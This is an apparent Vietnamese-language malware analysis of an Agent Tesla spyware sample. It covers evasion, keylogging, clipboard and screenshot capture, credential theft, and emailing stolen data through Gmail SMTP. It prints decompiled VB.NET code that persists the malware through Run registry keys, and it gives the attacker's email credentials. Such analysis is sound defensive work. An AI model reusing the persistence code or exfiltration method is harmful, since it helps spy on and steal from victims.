---
# System prepended metadata

title: 2_.dll

---

# 2_.dll

## Tổng quan về mã độc

Loại: Tuy file nhận được là dll, nhưng thực chất đây là một file `PE32`
Kích thước: 191.50 KB
MD5: `384c038a9b48098cb2a868f190a69b2a`
SHA1: `da4182678b4c9bafad62e9829a22c6a2f51e9071`
Ngày tạo: `2018-08-30 19:34:14 UTC`

Sử dụng DIE, cho ra kết quả mã độc được lập trình bằng ngôn ngữ visual Basic, .NET framework 2.0. Sử dụng virustotal để kiểm tra mã độc, 51/72 security vendors và 3 sandboxes flagged đây là mã độc. Cùng với đó nhận diện được đây là mã độc thuộc Collection agent tesla.

Hành vi của mã độc: thuộc nhóm mã độc agent tesla nên hành vi chính của mã độc này là stealer account được lưu trên máy tính từ các ứng dụng như trình duyệt, mail client, ftp client,.... Ngoài ra còn có các hành động gián điệp như keylogger, theo dõi clipboard, chụp ảnh màn hình.

## Phân tích chi tiết

Sau khi sử dụng dnspy để decompile chương trình, chương trình đã được obfuscate, tất cả các tên của class, method, ... đã bị làm rối. Các string được chương trình sử dụng thì được encrypt, và được decrypt lại trong quá trình runtime. `de4dot` không detect được obfuscator và ko thể decrypt lại string dù đã có token của hàm decrypt. Quá trình phân tích cần tiến hành tự deobfuscate.

Khi bắt đầu khởi chạy, mã độc tự sleep 15s, chưa rõ mục đích để làm gì.(edit: sandbox evasion)
![image](https://hackmd.io/_uploads/SyNlqwMl0.png)
Hàm sleep 15s alway return false.

Tiếp theo đó, mã độc kiểm tra user của máy, so sánh với một số username được whitelist. Nếu thuộc whitelist thì sẽ exit. Cũng chưa rõ mục đích việc này để làm gì, có thể mấy cái tên này là những người code ra dòng agent tesla.
![image](https://hackmd.io/_uploads/BkG2jvfeC.png)

![image](https://hackmd.io/_uploads/BksniPMgR.png)

Tiếp theo đó, kill tất cả các process khác có cùng tên.
![image](https://hackmd.io/_uploads/HJYHaDfgC.png)

### Mã độc persisten

```vb=
If Operators.CompareString(MainClass.CurrentPath, MainClass.ExpectedPath, False) <> 0 AndAlso MainClass.RV_61 Then
	If Not Directory.Exists(Environment.GetEnvironmentVariable("appdata") + "\MyOtApp\") Then
		Directory.CreateDirectory(Environment.GetEnvironmentVariable("appdata") + "\MyOtApp\")
	End If
	Try
		If File.Exists(MainClass.ExpectedPath) Then
			Try
				Dim fullPath As String = Path.GetFullPath(MainClass.ExpectedPath)
				For Each process As Process In Process.GetProcesses()
					Dim fullPath2 As String = Path.GetFullPath(process.MainModule.FileName)
					If Operators.CompareString(fullPath2, fullPath, False) = 0 Then
						process.Kill()
					End If
				Next
			Catch ex2 As Exception
			End Try
		End If
		If File.Exists(MainClass.CurrentPath) Then
			If File.Exists(MainClass.ExpectedPath) Then
				Try
					File.Delete(MainClass.ExpectedPath)
				Catch ex3 As Exception
				End Try
			End If
			File.Copy(MainClass.CurrentPath, MainClass.ExpectedPath, True)
			If MainClass.SMJ_62 Then
				File.SetAttributes(MainClass.ExpectedPath, FileAttributes.Hidden Or FileAttributes.System)
			End If
		End If
	Catch ex4 As Exception
	End Try
	Try								' peristen the malware	
		Dim registryKey As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
		registryKey.SetValue("MyOtApp", MainClass.ExpectedPath)
		Dim registryKey2 As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run", True)
		If registryKey2 IsNot Nothing Then
			Dim array As Byte() = New Byte() {2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
			registryKey2.SetValue("MyOtApp", array)
			registryKey2.Close()
		End If
	Catch ex5 As Exception
	End Try
End If
```

Nếu thư mục $APPDATA\MyOtApp chưa tồn tại, tiến hành tạo mới thư mục. Nếu đã tồn tại, kiểm tra `expectedPath` là `\MyOtApp\MyOtApp.exe` có tồn tại hay không, nếu có kill tất cả các process có MainModule là file này và tiến hành xóa file này. Sau đó mã độc được copy, thay thế file vừa xóa. `SMJ_62` được set là false nên file này sẽ được được set attribute hidden. Cuối cùng set các register `Software\Microsoft\Windows\CurrentVersion\Run` và `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run` để persisten

### Gửi thông tin thu thập được qua email

![image](https://hackmd.io/_uploads/Hyw6QOMxC.png)
Set timer chạy hàm gửi thông tin.

![image](https://hackmd.io/_uploads/SJzDEOfe0.png)
Các thông tin được gửi bao gồm:
- SystemInformation.UserName + "/" + SystemInformation.ComputerName
- IP của máy nạn nhân thông qua truy vấn đến `http://checkip.dyndns.org/`
- OperatingSystemName
- OsVersion platform
- OS version
- CPU
- RAM
- VideoCard
- Nội dung file log được tạo bởi keylogger

![image](https://hackmd.io/_uploads/ry5or_MeR.png)

Send email bằng cred `"trieutrang028@gmail.com", "TrieuYeuTrang"`, gửi đến email `hoang.hai.3766@gmail.com`. Mail server sẽ là `smtp.gmail.com`

### CheckInactive

![image](https://hackmd.io/_uploads/B1uLnOGg0.png)
Set timer chạy hàm kiểm tra user inactive, nếu lần cuối cùng user thao tác với chuột và bàn phím là quá 10 phút trước. CHương trình sẽ đánh dấu là user inactive. Giá trị này sẽ được sử dụng tại hàm screenshot

### screenshot

![image](https://hackmd.io/_uploads/Sk2nfYGxC.png)
Set timer gọi hàm có nhiệm vụ chụp ảnh màn hình.

![image](https://hackmd.io/_uploads/BJ4N7YMg0.png)
Chụp lại ảnh màn hình, lưu thành file `screen.jpeg`, sau đó gửi qua email cho hacker.

### stealer

![image](https://hackmd.io/_uploads/Hk1tDFfgR.png)
Mã độc tạo một thread mới để chạy code stealer.

![image](https://hackmd.io/_uploads/S1QAwKflA.png)
bên trong `ISS` có dạng như trên, mã độc gọi đến các method của UGM class. Class này chứa các method là các hàm sử dụng để dump account được lưu trong các application trên máy. Sau đó gửi về cho hacker qua email.
![image](https://hackmd.io/_uploads/HyEOdtGl0.png)

Số lượng method trong UGM class, rất nhiều ứng dụng bị dump account bao gồm các trình duyệt phổ biến, mail client, ftp client, ...

### Clipboard tracking

![image](https://hackmd.io/_uploads/Hypd15zeA.png)

![image](https://hackmd.io/_uploads/r1P5k9fgR.png)

![image](https://hackmd.io/_uploads/BJXR19GxR.png)

MainClass.PEP được gọi khi clipboard được thay đổi. 

![image](https://hackmd.io/_uploads/BJzOgcGlR.png)
MainClass.PEP gọi GetText() để lấy text từ clip board mỗi khi nó được thay đổi. Và cộng chuỗi vào MainClass.Clipboard. 

### Keylogger

![image](https://hackmd.io/_uploads/BJ4XW5fx0.png)

KeylogModule
![image](https://hackmd.io/_uploads/rJfL95feR.png)

MainClass.MSI
![image](https://hackmd.io/_uploads/ryuu9qGe0.png)

`UU()`
![image](https://hackmd.io/_uploads/rkGMo9GxA.png)
Với việc gọi `CallNextHook` ở cuối, thì `UU` sẽ được set là keyboardhook

`YHK()`

![image](https://hackmd.io/_uploads/HJ4-2qGlA.png)
HookKeyBoard proc được gán cho Me.TP_31, chính là `UU()`

![image](https://hackmd.io/_uploads/rJb625GxC.png)

![image](https://hackmd.io/_uploads/Syda2qzgC.png)
`DNK_33` là `KeyDownEvenHandler`, và được gán bằng `MainClass.FM()`

Như vậy, khi user sử dụng keyboard, flow sẽ như sau:

`UU()(hookProc) -> MainClass.FM() (key down event handler)`

`FM()`
![image](https://hackmd.io/_uploads/rylYiRGe0.png)
Lấy thông tin ứng dụng đang sử dụng hiện tại

![image](https://hackmd.io/_uploads/rJDsjAzeC.png)
Switch case kiểm tra key được bấm

### Unknown

Ngoài các hành vi trên, mã độc còn có những phần code khác phục vụ những mục đích khác như anti-vm, anti-debug, process inject... Tuy nhiên các flag config để chạy các phần code này được set thành false.

### Kiểm tra các hành vi bằng phân tích động

drop file:
![image](https://hackmd.io/_uploads/Sy8lJJmgC.png)

persisten:
![image](https://hackmd.io/_uploads/BkxGbkmlC.png)

screenshot:
![image](https://hackmd.io/_uploads/S14CpyXgA.png)

Keylogger:
![image](https://hackmd.io/_uploads/SyDBPl7eA.png)
```htmlembedded!
"<br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>aksjdaksjdhaksjdhjk<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>aksjdaksjdhaksjdhjk<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>asdasdasd<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>asdasdasd<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>ahihi<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>ahihi<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br>"
```
![image](https://hackmd.io/_uploads/HJJ2PgXlR.png)

Gửi mail:
![image](https://hackmd.io/_uploads/Bk1-Ox7eC.png)

Stealer: chưa test, theo mình biết h chrome đã encrypt data trong sqllite3 của nó. Code của malware không có bước đọc key trong máy => ko test.





